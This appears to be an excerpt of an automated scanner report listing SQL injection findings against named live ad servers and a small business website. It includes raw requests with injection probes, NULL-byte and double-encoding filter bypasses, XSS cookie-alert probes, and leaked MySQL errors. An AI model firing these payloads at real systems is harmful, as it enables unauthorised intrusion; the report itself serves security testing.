Set-Cookie: _cc=G/Sk5qAFuhB59X9RSPW7cuX5BjLSsC03SVEk82l5MNAgAnNo673eS84tAp+za0YwsMeVekfsK3TP/Q67SgdYA8R1yGFrOkUNg1YOW6xDpzwv0dIL7C1mtDBX5no1JyUMKe8U3R9rTsUHae6xXoN/s0UNSnTBaZ8fZflGHPQmUQxQUYIEHm6oTR8fvN3CXOlCU2UpUdtl27oFWaqtfb6hy/xbC9QJl10w3q4RBKj7+JgNtLTCNbQ8+PfOMxQTyn2+gtbV0Ex4pGqbu1+Su95/0Ux9LNQV3gAFKht8/dyPjYc1vXOdQM6f5RSsm2cAFg3w0MGJlUU0EnLblOfvdGvlyXWW3hOx3nmBQihS4AY7cPIByNTm+gmRP1z8LiMIj/Z61MsOvK5N4ha7ILE2hEdAzL9PG/IC4gLURn3j6xkza3w5TxLbEs7PEwgix1WJMMCz+ss753/VNwoZ7mUR7Hd7+MXThNjF7bUSSjs4R8MVkEdSyLgXeXdIl8Uwk61wqQ==.4gWHTv/7aOocs7YpvOTMrA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:03:04 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 18984

var ch_mmhtml = {"mobilehtml":"","pixelhtml":"","snurl":"http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=open-with.pc-test.com,sparxsystems.c
...[SNIP]...

1.6. http://mm.chitika.net/minimall [frm parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The frm parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the frm parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&ref=http%3A//burp/show/1&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false%00'&history=2&cb=428&loc=205,1872&output=simplejs&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:49 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJTIFoxB5zyrGvNooXe99hdD4N3Y8+hAWrbEPZjNgAYyxYDc25rnr3Ff/Paa9/v3eI79FPXJcaLozQcxdpm5MM6R4QaC6sE5VMlIyysjvzjIeQkglG+XihWzhr/fZli1zObbtcS6mSLQnjk03OgIAQN4xIi4OAGyaxsr2pmtcoIEdVFMLG1qU2DWdhwqZmSygSSW8QGDuC4HGJ0b/Z2L9NCigN44ppkm4HdKHuVwsMzOoS0f2BaGqdksKsUKux/kFVZeyXFieCY/ZQRCiGwnaR6ImPRDQS/lIoW6dtX5Qz5Rb81Og0A9uKOao57Q3ndpPaWNj96D/Lo5ssIaeclFQKZRjkZp2ArR9KuWy9vUbLvuxpGH6lkiTumvPM+RUBP96mw5RFlxP8EylO52TSis8TgwolY5Gg3BfKaaG0W/FJaYc.s/MiCuIckIOrG8DkvWNfiA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:01:49 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 19194

var ch_mmhtml = {"mobilehtml":"","pixelhtml":"","snurl":"http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=home-warranty.firstam.com,pc-test.co
...[SNIP]...
O15H5daRJPBlH%2FSbzIHiQCsWSZWkQSTw3AHBTGHo9g6qLtBS5%2BaQXf3HvBBTCB%2ByzTytycqPwU82LaNRsvca1NL910pVw7nc3TO1IgGGuIAO2uYw&template=v1-450xauto\">Your Free recommended download to fix Windows Vista and XP errors!
...[SNIP]...

Request 2

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&ref=http%3A//burp/show/1&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false%00''&history=2&cb=428&loc=205,1872&output=simplejs&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:55 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJYTl4xB5DzWnjJsxKS7Ikiy5zkR+OaoC5I4yrnSj0IzYFdv/5xkL34IVVlNI21A6Tll5JhicLyDKsXHxiXt4czGm74ULKBQKIhvH/MR7vSf4QYfI2D5z9rB2Z3FWtfyCSbFkg+/5YfV1UiWFk065BW3/iEtfbUHQgfa9AKUmjhlaZ2g+R9ESfr/p556qQovpllZTUTJc0F++uYsY8Qk74sYaMk4USrbAjv+COiS68qoNWkMd/guT/ktJJLZK/zrOCBhqAsXvLRkFzPadj/K2xMcHN4dWHFZRV3BZrZ7bKC2RKEgmZiD+RwRBcENkbrDf3CJdWjceNmKAHA1/k22otNyfLQCaXrzBtVKb/Nbf1GV3oX1jQecjjMYUMcgxTopHYlTEQGKtzjJDEuSJES3gfiMRKJ/PD9kTDzerHB1s+qOnBw==.cHhmyQbUSBnRfZHEv3/FmA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:01:55 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 19123

var ch_mmhtml = {"mobilehtml":"","pixelhtml":"","snurl":"http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=open-with.pc-test.com,sparxsystems.c
...[SNIP]...

1.7. http://mm.chitika.net/minimall [output parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The output parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the output parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&ref=http%3A//burp/show/2&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=159&loc=205,1844&output=simplejs%00'&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _cc=G/SkJTIFoxB5zyrGvNoopWH98lzIGX09Lqf5eXifPARQKIeBMDE2hXiO2v2mk4qq+VP5P+m5J4eRJC5zWa+7Jf/jc6jkVmF/MbVWYaETxPD821XiL9JnE93XkPahPfrLgcfAbrpHrHNZJnEeObU3OtCTVkfYYH7KACiAKZU6LmYWAtjWSyuwX+GHPstuHx9zwtQHlMeOjOOZqdwl722uq28wErLf/s1odnEP3DQeHuP1taSO/8VINxZmUH3OCHKjzoEA3Ep2hvSi4fTUQ9xQg5HBigwFw6FcG4XjG/ZwAf++TM2bd6D6MDuMeCmjszjwKZD/DVxhbPa1zjGTdrpztnAx7H5aYU7Rqim51ZoqsIAq7yljuMQoFzxW0QdFZuKMR6dZIfdTULQZElAm9UvyESXU0bZ2j55Oz02Ty6P8x00eoqYu.JlGLkqSjkssYk0faKwa/ow.4

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:04:49 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/Sk5qAFuhB59X9RSLW7ckHfTilfUr8ib+dgOlCrfN8tBICvndkUjF0Z+nHc1Lu4MJAEmuf7fLy0i4/wwCbQ43hc1E5Er3lpKWuO/mo+YDpjuTx8UIUKda73Ece3P1hlb0MyAv+2UILn776mpHuBjjtlJIkhqRnLQogXCoP6wqyg/QYisThsxwzalEcKONAJg6KntPTEiekOflooJTJsgje4dXFcK4GtVRgajUVRJhm6zbs8vkT3bFy7fNreAZbQsODCkNqyvvHTc94Y+NA959gf/JzitgbxCcNwVNfxNri8JxaY7PCzU5dyij/M3kpdjVBtH7+04yzwdOpkFzAIbk7QAbXG1n0fEjPpKQsDR6NlY3bvEorfyuWFdrnGpIZMd0Mxt80tQUktKfdRUkiIEoYWSGPR/VnmmZkRiG0ClYYOSGCk82bO8hxXVKcQqKWQpoX87MkSKH1vk6DJtibEwzhPf3oN3buTIaLqG8mMkFaxQi4eHZC8UhWRY40re9E=.DQ6LMm6rS5GiZpB+XsnH6g.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:04:49 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21034

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...
PVs1K%2FWWKWj4SRWLTkFgHujJpdV3XGBUvGGVmufLsEHrxN1BF2EdMXYmwkjrUFCb6pj6q7cCdZ4w2lI6oh8%2B3wzEBnV6r0jlsUnfMFgXF14JaLfo%3D&template=v1-450xauto">Your Free recommended download to fix Windows Vista and XP errors!
...[SNIP]...

Request 2

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&ref=http%3A//burp/show/2&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=159&loc=205,1844&output=simplejs%00''&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _cc=G/SkJTIFoxB5zyrGvNoopWH98lzIGX09Lqf5eXifPARQKIeBMDE2hXiO2v2mk4qq+VP5P+m5J4eRJC5zWa+7Jf/jc6jkVmF/MbVWYaETxPD821XiL9JnE93XkPahPfrLgcfAbrpHrHNZJnEeObU3OtCTVkfYYH7KACiAKZU6LmYWAtjWSyuwX+GHPstuHx9zwtQHlMeOjOOZqdwl722uq28wErLf/s1odnEP3DQeHuP1taSO/8VINxZmUH3OCHKjzoEA3Ep2hvSi4fTUQ9xQg5HBigwFw6FcG4XjG/ZwAf++TM2bd6D6MDuMeCmjszjwKZD/DVxhbPa1zjGTdrpztnAx7H5aYU7Rqim51ZoqsIAq7yljuMQoFzxW0QdFZuKMR6dZIfdTULQZElAm9UvyESXU0bZ2j55Oz02Ty6P8x00eoqYu.JlGLkqSjkssYk0faKwa/ow.4

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:04:49 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/Sk5qAFuhB59X9RSLW7ckHfTilfUr8ib+dgOlCrfN8tBICvndkUjF0Z+nHc1Lu4MJAEmuf7fLy0i4/wwCbQ43hc1E5Er3lpKWuO/mo+YDpjuTx8UIUKda73Ece3P1hlb0MyAv+2UILn776mpHuBjjtlJIkhqRnLQogXCoP6wqyg/QYisThsxwzalEcKONAJg6KntPTEiekOflooJTJsgje4dXFcK4GtVRgajUVRJhm6zbs8vkT3bFy7fNreAZbQsODCkNqyvvHTc94Y+NA959gf/JzitgbxCcNwVNfxNri8JxaY7PCzU5dyij/M3kpdjVBtH7+04yzwdOpkFzAIbk7QAbXG1n0fEjPpKQsDR6NlY3bvEorfyuWFdrnGpIZMd0Mxt80tQUktKfdRUkiIEoYWSGPR/VnmmZkRiG0ClYYOSGCk82bO8hxXVKcQqKWQpoX87MkSKH1vk6DJtibEwzhPf3oN3buTIaLqG8mMkFaxQi4eHZC8UhWRY40re9E=.DQ6LMm6rS5GiZpB+XsnH6g.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:04:49 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21738

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.8. http://pubads.g.doubleclick.net/gampad/ads [flash parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://pubads.g.doubleclick.net
Path:	/gampad/ads

Issue detail

The flash parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the flash parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /gampad/ads?correlator=1296999633346&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&a2ids=BI04A&cids=Urcrdg&pstok=VbbiuyNOfJsKDgoKCODpSBDY2_LWFBAA&client=ca-pub-1100161805080516&slotname=Tipd_300x250&page_slots=tipd-Others_sidebar_300x250%2CTipd_300x250&cookie=ID%3Dd7dc9664002f3c4e%3AT%3D1296999550%3AS%3DALNI_MZNjYniXih7H0A04asfHG6rtAHkcQ&ga_vid=1926595520.1296999588&ga_sid=1296999588&ga_hid=1013703234&ga_fc=true&url=http%3A%2F%2Ftipd.com%2Fregister&ref=http%3A%2F%2Ftipd.com%2F%3F6785a%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eea5c679a90c%3D1&lmt=1297021234&dt=1296999634578&cc=81&biw=1001&bih=1015&ifi=2&adk=3099318589&u_tz=-360&u_his=3&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&flash=10.1.103'%20and%201%3d1--%20 HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tipd.com/register
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response 1

Request 2

GET /gampad/ads?correlator=1296999633346&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&a2ids=BI04A&cids=Urcrdg&pstok=VbbiuyNOfJsKDgoKCODpSBDY2_LWFBAA&client=ca-pub-1100161805080516&slotname=Tipd_300x250&page_slots=tipd-Others_sidebar_300x250%2CTipd_300x250&cookie=ID%3Dd7dc9664002f3c4e%3AT%3D1296999550%3AS%3DALNI_MZNjYniXih7H0A04asfHG6rtAHkcQ&ga_vid=1926595520.1296999588&ga_sid=1296999588&ga_hid=1013703234&ga_fc=true&url=http%3A%2F%2Ftipd.com%2Fregister&ref=http%3A%2F%2Ftipd.com%2F%3F6785a%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eea5c679a90c%3D1&lmt=1297021234&dt=1296999634578&cc=81&biw=1001&bih=1015&ifi=2&adk=3099318589&u_tz=-360&u_his=3&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&flash=10.1.103'%20and%201%3d2--%20 HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tipd.com/register
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response 2

1.9. http://redacted/FXM/iview/211419853/direct [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://redacted
Path:	/FXM/iview/211419853/direct

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the User-Agent HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /FXM/iview/211419853/direct;wi.125;hi.125/01?click= HTTP/1.1
Host: redacted
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13%2527
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F

Response 1

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 6126
Content-Type: text/html
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 16:31:57 GMT

<html><head><title>010016_125x125</title>
<meta HTTP-EQUIV="expires" CONTENT="0"></meta>
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache"></meta>
</head><body style="border-width:0px;margin:0px;" bgcol
...[SNIP]...
<SCR' + 'IPT LANGUAGE=VBScript\>');
document.writeln('on error resume next');
document.writeln('Set oFlashPlayer = CreateObject("ShockwaveFlash.ShockwaveFlash." & nRequiredVersion)');
document.writeln('If IsObject(oFlashPlayer) Then');
document.writeln('bIsRig
...[SNIP]...

Request 2

GET /FXM/iview/211419853/direct;wi.125;hi.125/01?click= HTTP/1.1
Host: redacted
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13%2527%2527
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F

Response 2

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 240
Content-Type: text/html
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 16:31:57 GMT

<body style=margin:0><a target=_blank href="http://clk.atdmt.com/goiframe/152669141/211419853/direct;wi.125;hi.125/01" onclick="(new Image).src='http://t.redcated'"><img src="http://ec.redcated/b/FX
...[SNIP]...

1.10. http://www.baysideeyes.com.au/aboutus.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/aboutus.htm

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /aboutus.htm' HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:47 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 209

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''aboutus.htm'')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /aboutus.htm'' HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:47 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.11. http://www.baysideeyes.com.au/aboutus.htm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/aboutus.htm

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /aboutus.htm?1'=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:34 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /aboutus.htm?1''=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:37 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.12. http://www.baysideeyes.com.au/cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /cmsAdmin'/uploads/BLEPHARITIS.pdf&s=204.93 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:16 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /cmsAdmin''/uploads/BLEPHARITIS.pdf&s=204.93 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
